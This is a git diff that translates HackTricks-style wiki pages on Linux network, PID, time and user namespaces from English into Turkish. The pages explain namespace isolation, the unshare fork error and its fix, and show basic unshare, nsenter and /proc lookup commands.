By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
|
||||
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
|
||||
|
||||
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
|
||||
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
|
||||
|
||||
1. **Problem Explanation**:
|
||||
1. **Sorun Açıklaması**:
|
||||
|
||||
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
|
||||
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
|
||||
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
|
||||
- Linux çekirdeği, bir sürecin yeni ad alanları oluşturmasına `unshare` sistem çağrısı ile izin verir. Ancak, yeni bir PID ad alanı oluşturan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmemektedir; yalnızca onun çocuk süreçleri girmektedir.
|
||||
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
|
||||
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, bu ad alanında PID tahsisini devre dışı bırakacaktır.
|
||||
|
||||
2. **Consequence**:
|
||||
2. **Sonuç**:
|
||||
|
||||
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
|
||||
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluşturulurken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
|
||||
|
||||
3. **Solution**:
|
||||
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
|
||||
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
|
||||
3. **Çözüm**:
|
||||
- Sorun, `unshare` ile `-f` seçeneğinin kullanılmasıyla çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
|
||||
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını sağlar. `/bin/bash` ve onun çocuk süreçleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
|
||||
|
||||
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
|
||||
`unshare`'in `-f` bayrağı ile çalıştırılmasını sağlayarak, yeni PID ad alanının doğru bir şekilde korunmasını sağlarsınız, böylece `/bin/bash` ve alt süreçleri bellek tahsis hatası ile karşılaşmadan çalışabilir.
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
# Run ifconfig or ip -a
|
||||
```
|
||||
|
||||
###  Check which namespace is your process in
|
||||
|
||||
###  Hangi ad alanında olduğunuzu kontrol edin
|
||||
```bash
|
||||
ls -l /proc/self/ns/net
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
|
||||
```
|
||||
|
||||
### Find all Network namespaces
|
||||
|
||||
### Tüm Ağ ad alanlarını Bulun
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
|
||||
### Enter inside a Network namespace
|
||||
|
||||
### Bir Ağ ad alanına girin
|
||||
```bash
|
||||
nsenter -n TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Ayrıca, **başka bir işlem ad alanına yalnızca root iseniz girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **onu işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/net`).
|
||||
|
||||
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
|
||||
@ -2,89 +2,79 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management.
|
||||
PID (Process IDentifier) namespace, Linux çekirdeğinde, bir grup sürecin kendi benzersiz PID setine sahip olmasını sağlayarak süreç izolasyonu sunan bir özelliktir; bu, diğer namespace'lerdeki PIDs'den ayrıdır. Bu, süreç izolasyonunun güvenlik ve kaynak yönetimi için hayati olduğu konteynerleştirme alanında özellikle faydalıdır.
|
||||
|
||||
When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces.
|
||||
Yeni bir PID namespace oluşturulduğunda, o namespace'deki ilk süreç PID 1 ile atanır. Bu süreç, yeni namespace'in "init" süreci haline gelir ve namespace içindeki diğer süreçleri yönetmekten sorumludur. Namespace içinde oluşturulan her bir sonraki süreç, o namespace içinde benzersiz bir PID alacak ve bu PIDs, diğer namespace'lerdeki PIDs'den bağımsız olacaktır.
|
||||
|
||||
From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another.
|
||||
Bir PID namespace içindeki bir süreç açısından, yalnızca aynı namespace'deki diğer süreçleri görebilir. Diğer namespace'lerdeki süreçlerin farkında değildir ve geleneksel süreç yönetim araçları (örneğin, `kill`, `wait`, vb.) kullanarak onlarla etkileşimde bulunamaz. Bu, süreçlerin birbirine müdahale etmesini önlemeye yardımcı olan bir izolasyon seviyesi sağlar.
|
||||
|
||||
### How it works:
|
||||
### Nasıl çalışır:
|
||||
|
||||
1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**.
|
||||
2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces.
|
||||
3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace.
|
||||
4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up.
|
||||
1. Yeni bir süreç oluşturulduğunda (örneğin, `clone()` sistem çağrısı kullanılarak), süreç yeni veya mevcut bir PID namespace'ine atanabilir. **Yeni bir namespace oluşturulursa, süreç o namespace'in "init" süreci haline gelir**.
|
||||
2. **Çekirdek**, yeni namespace'deki PIDs ile ana namespace'deki karşılık gelen PIDs arasında bir **eşleme** tutar (yani, yeni namespace'in oluşturulduğu namespace). Bu eşleme, **çekirdeğin gerekli olduğunda PIDs'yi çevirmesine olanak tanır**, örneğin, farklı namespace'lerdeki süreçler arasında sinyaller gönderirken.
|
||||
3. **PID namespace içindeki süreçler yalnızca aynı namespace'deki diğer süreçleri görebilir ve onlarla etkileşimde bulunabilir**. Diğer namespace'lerdeki süreçlerin farkında değillerdir ve PIDs'leri kendi namespace'lerinde benzersizdir.
|
||||
4. Bir **PID namespace yok edildiğinde** (örneğin, namespace'in "init" süreci çıktığında), **o namespace içindeki tüm süreçler sonlandırılır**. Bu, namespace ile ilişkili tüm kaynakların düzgün bir şekilde temizlenmesini sağlar.
|
||||
|
||||
## Lab:
|
||||
## Laboratuvar:
|
||||
|
||||
### Create different Namespaces
|
||||
### Farklı Namespace'ler Oluşturun
|
||||
|
||||
#### CLI
|
||||
|
||||
```bash
|
||||
sudo unshare -pf --mount-proc /bin/bash
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
|
||||
|
||||
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
|
||||
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını yönetme şekli nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
|
||||
|
||||
1. **Problem Explanation**:
|
||||
1. **Problem Açıklaması**:
|
||||
|
||||
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
|
||||
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
|
||||
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
|
||||
- Linux çekirdeği, bir sürecin yeni ad alanları oluşturmasına `unshare` sistem çağrısı ile izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer.
|
||||
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
|
||||
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır.
|
||||
|
||||
2. **Consequence**:
|
||||
2. **Sonuç**:
|
||||
|
||||
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
|
||||
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluşturulurken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
|
||||
|
||||
3. **Solution**:
|
||||
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
|
||||
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
|
||||
3. **Çözüm**:
|
||||
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
|
||||
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri, bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
|
||||
|
||||
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
|
||||
`unshare`'in `-f` bayrağı ile çalıştırılmasını sağlayarak, yeni PID ad alanının doğru bir şekilde korunması sağlanır ve `/bin/bash` ile alt süreçlerinin bellek tahsis hatası ile karşılaşmadan çalışmasına olanak tanınır.
|
||||
|
||||
</details>
|
||||
|
||||
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
|
||||
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresini kullanarak monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız.
|
||||
|
||||
#### Docker
|
||||
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
|
||||
###  Check which namespace are your process in
|
||||
|
||||
###  Hangi ad alanında olduğunuzu kontrol edin
|
||||
```bash
|
||||
ls -l /proc/self/ns/pid
|
||||
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
|
||||
```
|
||||
|
||||
### Find all PID namespaces
|
||||
|
||||
### Tüm PID ad alanlarını bul
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u
|
||||
```
|
||||
Kök kullanıcısının başlangıç (varsayılan) PID ad alanından tüm süreçleri görebileceğini, hatta yeni PID ad alanlarındaki süreçleri bile görebileceğini unutmayın, bu yüzden tüm PID ad alanlarını görebiliyoruz.
|
||||
|
||||
Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces.
|
||||
|
||||
### Enter inside a PID namespace
|
||||
|
||||
### Bir PID ad alanına girin
|
||||
```bash
|
||||
nsenter -t TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Bir PID ad alanına varsayılan ad alanından girdiğinizde, tüm süreçleri görebilirsiniz. Ve o PID ad alanındaki süreç, PID ad alanındaki yeni bash'i görebilecektir.
|
||||
|
||||
When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns.
|
||||
Ayrıca, **başka bir süreç PID ad alanına yalnızca root iseniz girebilirsiniz**. Ve **bir tanımlayıcı olmadan** **başka bir ad alanına giremezsiniz** (örneğin `/proc/self/ns/pid`)
|
||||
|
||||
Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`)
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
|
||||
@ -1,72 +1,62 @@
|
||||
# Time Namespace
|
||||
# Zaman Ad Alanı
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot.
|
||||
Linux'taki zaman ad alanı, sistemin monotonik ve önyükleme zamanı saatlerine göre ad alanı başına kaydırmalar sağlar. Genellikle Linux konteynerlerinde, bir konteyner içindeki tarih/saatin değiştirilmesi ve bir kontrol noktasından veya anlık görüntüden geri yüklendikten sonra saatlerin ayarlanması için kullanılır.
|
||||
|
||||
## Lab:
|
||||
## Laboratuvar:
|
||||
|
||||
### Create different Namespaces
|
||||
### Farklı Ad Alanları Oluşturma
|
||||
|
||||
#### CLI
|
||||
|
||||
```bash
|
||||
sudo unshare -T [--mount-proc] /bin/bash
|
||||
```
|
||||
|
||||
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
|
||||
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
|
||||
|
||||
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
|
||||
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
|
||||
|
||||
1. **Problem Explanation**:
|
||||
1. **Problem Açıklaması**:
|
||||
|
||||
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
|
||||
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
|
||||
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
|
||||
- Linux çekirdeği, bir sürecin yeni ad alanları oluşturmasına `unshare` sistem çağrısı ile izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer.
|
||||
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
|
||||
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır.
|
||||
|
||||
2. **Consequence**:
|
||||
2. **Sonuç**:
|
||||
|
||||
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
|
||||
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluşturulurken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
|
||||
|
||||
3. **Solution**:
|
||||
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
|
||||
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
|
||||
3. **Çözüm**:
|
||||
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
|
||||
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını sağlar. `/bin/bash` ve onun çocuk süreçleri, bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
|
||||
|
||||
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
|
||||
`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçleri bellek tahsis hatası ile karşılaşmadan çalışabilir.
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
|
||||
###  Check which namespace is your process in
|
||||
|
||||
###  Hangi ad alanında olduğunuzu kontrol edin
|
||||
```bash
|
||||
ls -l /proc/self/ns/time
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
|
||||
```
|
||||
|
||||
### Find all Time namespaces
|
||||
|
||||
### Tüm Zaman ad alanlarını bul
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
|
||||
### Enter inside a Time namespace
|
||||
|
||||
### Zaman ad alanına girin
|
||||
```bash
|
||||
nsenter -T TARGET_PID --pid /bin/bash
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,103 +1,88 @@
|
||||
# User Namespace
|
||||
# Kullanıcı Ad Alanı
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically.
|
||||
Kullanıcı ad alanı, **kullanıcı ve grup ID eşlemelerinin izolasyonunu sağlayan** bir Linux çekirdek özelliğidir ve her kullanıcı ad alanının **kendi kullanıcı ve grup ID setine** sahip olmasına olanak tanır. Bu izolasyon, farklı kullanıcı ad alanlarında çalışan süreçlerin **farklı ayrıcalıklara ve sahipliğe** sahip olmasını sağlar, bu süreçler aynı kullanıcı ve grup ID'lerini sayısal olarak paylaşsalar bile.
|
||||
|
||||
User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system.
|
||||
Kullanıcı ad alanları, her bir konteynerin kendi bağımsız kullanıcı ve grup ID setine sahip olması gereken konteynerleştirmede özellikle faydalıdır ve bu, konteynerler ile ana sistem arasında daha iyi güvenlik ve izolasyon sağlar.
|
||||
|
||||
### How it works:
|
||||
### Nasıl çalışır:
|
||||
|
||||
1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**.
|
||||
2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace.
|
||||
3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**.
|
||||
4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace.
|
||||
1. Yeni bir kullanıcı ad alanı oluşturulduğunda, **kullanıcı ve grup ID eşlemeleri için boş bir setle başlar**. Bu, yeni kullanıcı ad alanında çalışan herhangi bir sürecin **başlangıçta ad alanının dışındaki ayrıcalıklara sahip olmayacağı** anlamına gelir.
|
||||
2. Yeni ad alanındaki kullanıcı ve grup ID'leri ile ana (veya ev sahibi) ad alanındaki ID'ler arasında eşlemeler kurulabilir. Bu, **yeni ad alanındaki süreçlerin ana ad alanındaki kullanıcı ve grup ID'lerine karşılık gelen ayrıcalıklara ve sahipliğe sahip olmasına olanak tanır**. Ancak, ID eşlemeleri belirli aralıklar ve ID alt kümeleri ile kısıtlanabilir, bu da yeni ad alanındaki süreçlere verilen ayrıcalıklar üzerinde ince ayar kontrolü sağlar.
|
||||
3. Bir kullanıcı ad alanı içinde, **süreçler ad alanı içindeki işlemler için tam kök ayrıcalıklarına (UID 0) sahip olabilir**, aynı zamanda ad alanının dışındaki ayrıcalıkları sınırlı kalır. Bu, **konteynerlerin kendi ad alanlarında kök benzeri yeteneklerle çalışmasına olanak tanırken, ana sistemde tam kök ayrıcalıklarına sahip olmalarını engeller**.
|
||||
4. Süreçler, `setns()` sistem çağrısını kullanarak ad alanları arasında geçiş yapabilir veya `CLONE_NEWUSER` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni ad alanları oluşturabilir. Bir süreç yeni bir ad alanına geçtiğinde veya bir tane oluşturduğunda, o ad alanıyla ilişkili kullanıcı ve grup ID eşlemelerini kullanmaya başlayacaktır.
|
||||
|
||||
## Lab:
|
||||
## Laboratuvar:
|
||||
|
||||
### Create different Namespaces
|
||||
### Farklı Ad Alanları Oluşturma
|
||||
|
||||
#### CLI
|
||||
|
||||
```bash
|
||||
sudo unshare -U [--mount-proc] /bin/bash
|
||||
```
|
||||
|
||||
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
|
||||
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
|
||||
|
||||
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
|
||||
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
|
||||
|
||||
1. **Problem Explanation**:
|
||||
1. **Problem Açıklaması**:
|
||||
|
||||
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
|
||||
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
|
||||
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
|
||||
- Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmemektedir; yalnızca onun çocuk süreçleri girmektedir.
|
||||
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
|
||||
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, bu ad alanında PID tahsisini devre dışı bırakacaktır.
|
||||
|
||||
2. **Consequence**:
|
||||
2. **Sonuç**:
|
||||
|
||||
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
|
||||
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluşturulurken `alloc_pid` fonksiyonunun yeni bir PID tahsis etmesini engeller ve "Bellek tahsis edilemiyor" hatasını üretir.
|
||||
|
||||
3. **Solution**:
|
||||
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
|
||||
